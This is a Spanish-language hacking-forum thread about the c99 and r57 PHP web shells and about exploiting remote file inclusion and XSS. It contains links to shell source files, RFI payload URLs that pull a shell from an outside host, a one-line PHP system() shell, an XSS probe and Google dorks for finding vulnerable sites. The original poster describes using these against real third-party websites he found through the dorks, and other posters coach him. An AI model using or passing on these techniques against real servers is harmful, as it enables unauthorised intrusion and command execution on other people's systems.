Foro de elhacker.net

quisiera saber si estas shells funcionan generalmente o si en realidad son como los troyanos conocidos que saltan el antivirus al mas minimo indicio. Gracias.

Sí que funcionan.
Esas 2 son las mejores para mi parecer, las únicas que he probado realmente xd

y sabes lo que es una shell? porque esa duda del troyano no me concuerda mucho *-)

aquí la c99:
http://usuarios.lycos.es/elitehacknet/C99Shell.txt

no sé qué versión es como que van sacando que si privadas o no se qué.... y ya no practico nada de defacing ni esas cosas....

salu2!

se que es una shell, lo del troyano es por lo rapido que un troyano pierde su utilidad cuando se hace conocido, y pensaba que con estas shells podria pasar lo mismo.

alguien me podria decir porque esto funciona:

php?url=www.google.com

y esto no funciona

php?url=usuarios.lycos.es/theripperm/shell/r57.txt

este ultimo solo me muestra el contenido del txt y no me ejecuta ninguna shell, pude ser porque dice url, y quizas deberia decir page o file ? o algo asi?

 :huh: :huh: :huh:

eso no tiene nada que ver ¬¬
es la variable que llama a la página o archivo interno
como si se llamara "caquita" xd

por PM ya te dije añade un "?" al final porque si no lo lee como texto, a ver si te funciona,

salu2!

Y seguro que es vulnerable?

no es inclusion por iframes? ;D

Suele pasar :P

checa si en lugar de hacer include con php sea con iframes, o frames :P

ya, a lo mejor como dice Azielito no es vulnerable y simplemente abre la página de manera externa y no lo ejecuta en el propio servidor, ¿sabes?

salu2

pd , ya te digo prueba de poner "?" al final

mm todavia con el ? al final no funciona, seguro que no es vulnerable.  :P


como verifico esto? es que hace poco que estoy con esto y XSS y estoy bastante en bolas.

me fijè en el codigo fuente de la pagina y creo que puede ser algo de lo que decis


si es esto, como tendria que decir en el codigo fuente para saber que es vulnerable? o que es lo que tendria que detectar ademas de que abra google?

ah y de verdad muchas gracias a los dos por darme una mano  ;D ;D ;D

si esta dentro de un frame no es vulnerable a RFI pero podria ser a XSS

inenta poner en tu variable

><script>alert(document.location);</script>

hay bastante informacion sobre XSS en el foro, ahora recuerdo estos

http://foro.elhacker.net/tutoriales_documentacion/xss_finalversion_txt-t114432.0.html
http://foro.elhacker.net/tutoriales_documentacion/tutorial_ataques_xss-t32042.0.html
http://foro.elhacker.net/tutoriales_documentacion/los_poderes_secretos_de_xss_cross_site_scripting-t98324.0.html

:)

Hola vamos a aclarar algunas cosas.

Creo que a lo que le llamas troyano es a los tipicos troyanos de windows. Programas ejecutables.

Estas (c99 y r57) son shell web.
Estas 2 en este caso son aplicaciones php que te dan funcionales que la podriamos meter en la categoria de shell ya que podes correr comandos en el servidor donde esten corriendo, por lo general linux.

Como toda aplicacion web, esta corre con los permisos que corre el servidor web, que por lo general es apache o lighttpd.

Por esta ultima razon segun con que user corra el webserver, por lo general como "nobody", tienes muy poco permiso para "hacer cosas"

La shell por lo general cuando la quieras subir para comprometer un servidor, la renombras a .txt porque si en el server donde esta interpreta los .php, lo que obtenes cuando la quieras subir al servidor comprometido es la interpretacion del .php que es una pagina web y no el sourcecode el php, por eso al renombrar la shell a .txt no se interpreta, y subes al server comprometido todo el codigo .php

Luego que subiste la shell al server comprometido, renombras el .txt a .php e ingresas por http o https a la shell y obtendras una interface para "hacer cosas" en el server.

Instalate un Apache+php en una VM y probalas.

gracias por la clase sobre shells ulises xd

@Achernar dinos pues si es vulnerable a XSS a ver....
porque como bien dice azielito siendo frame se ejecuta en tu servidor y no en el víctima, o sea que la shell de ná sirve.

salu2

El script funciono bien, ahora las diferencias entre

><script>alert();</script>

y

<script>alert()</script> son porque hay que cerrar la llave abierta con el <frame src??? de modo que quedaria algo asi:

<frame src=><script>alert();</script><noframes>
no entiendo bien lo del ";" pero creo que voy bien, entonces si la pagina fuese verdaderamente vulnerable no tendria que mostrarme a google via frame src y entonces quizas el script para XSS no tendria que funcionar? estoy en lo correcto?

el ; es porque es javascript, y javascript usa sintaxis de C, que te pide un ; despues de cada instruccion, aunque podrias no ponersela y no pasa nada..

y si, si le mandas google como argumento te deberia mostrar google..

Saludos!!

en google estoy usando cosas como estas:

filetype:php inurl:url inurl:htm

pero no encuentro ninguno vulnerable para ver como es, siempre pasa lo mismo, creo que es lo de <iframe src=...

creo que en el codigo fuente tendria que haber un get? pude ser? hay alguna forma de buscar en google algo en el codigo fuente?

deberia ser

cosas similares

bueno, segui con mi busqueda filetype:php inurl:page inurl:htm y despues miraba el codigo fuente buscando cosas como las que dijo Azielito y al final creo que encontre una web vulnerable, pero comparado con la shell que se ve aca

http://www.youtube.com/watch?v=Zrp-HeeU4ME

la que ejecute es parecida (http://www.deyvill.org/c99.txt) con algunas cajas de texto pero con un gran desparramo de texto alrededor que parece codigo fuente... ¿que es eso? codigo que no se pudo ejecutar en el servidor? quise meter un simple ls y me salto una pagina de error y despues intente con un dir y paso lo mismo... alguien me puede explicar que es lo que vi? puede que estor errores al meter los comandos sean por el mismo motivo que hay codigo desparramado por toda la interfaz?

suponiendo que tengo php?page=http://www.deyvill.org/c99.txt

como tendria que hacer para ejecutar un comando desde la barra de direcciones, o sea, sin usar la shell? supongo que sera posible no?

--------------------- Minutos despues ------------------------

encontre esto la sección de textos de elhacker.net


este ultimo renglon me genera una confusion, y es que dice shell.php?cmd=ls , no tendira que decir shell.gif?cmd=ls o cualquier otra extension que no sea php?

yo subi un archivo php y uno gif a un servidor para ver esto y cuando uso el php me dice que el safe mode esta activado y me da unos path del servidor donde estan los archivos que yo subi (entonces creo que se ejecuta en mi servidor) y cuando uso el gif no me muestra nada, supongo que el servidor vulnerable no es tan vulnerable y tiene tambien el safe mode acrivado ¿puede ser este el motivo por el que la shell c99 no se ve bien?

La r57 esta bien, pero la c99 no la supera ninguna, ahi ves todas las tolls que incluye de ftp brute, un mini phpmyadmin, etc...

Saludos

al final creo que debe ser eso de tener el safe mode on en el servidor, porque en algunos lados donde podia redireccionar a google sin usar frames o iframes y las shell se ejecutaban por la mitad no podia ejecutar algo tan sencillo como esto:

<?php
  system($cmd)
?>

lo escribi de memoria, no se si era exactamente asi, pero tenia que poner algo como index.php?page=http://www.misitio.com/shell.txt?cmd=pwd? y no pasaba nada con y sin el ? al final. asi que creo que por eso no consigo hacer funcionar las shells.. ya me parece un poco dificil encontrar donde ejecutarlas
 :P :P

encontre esto:

La función system esta deshabilitada por el modo seguro de php, motivos de seguridad

y otra cosa es que en paginas hechas en iespana para pasar los parametros por la url teneia que usar $HTTP_GET_VARS["variable"] o sino no me tomaba su contenido.

creo que en este tiempito aprendí bastante, gracias a todos por dar una mano.  :-*  :xD :xD :xD que gay  :xD :xD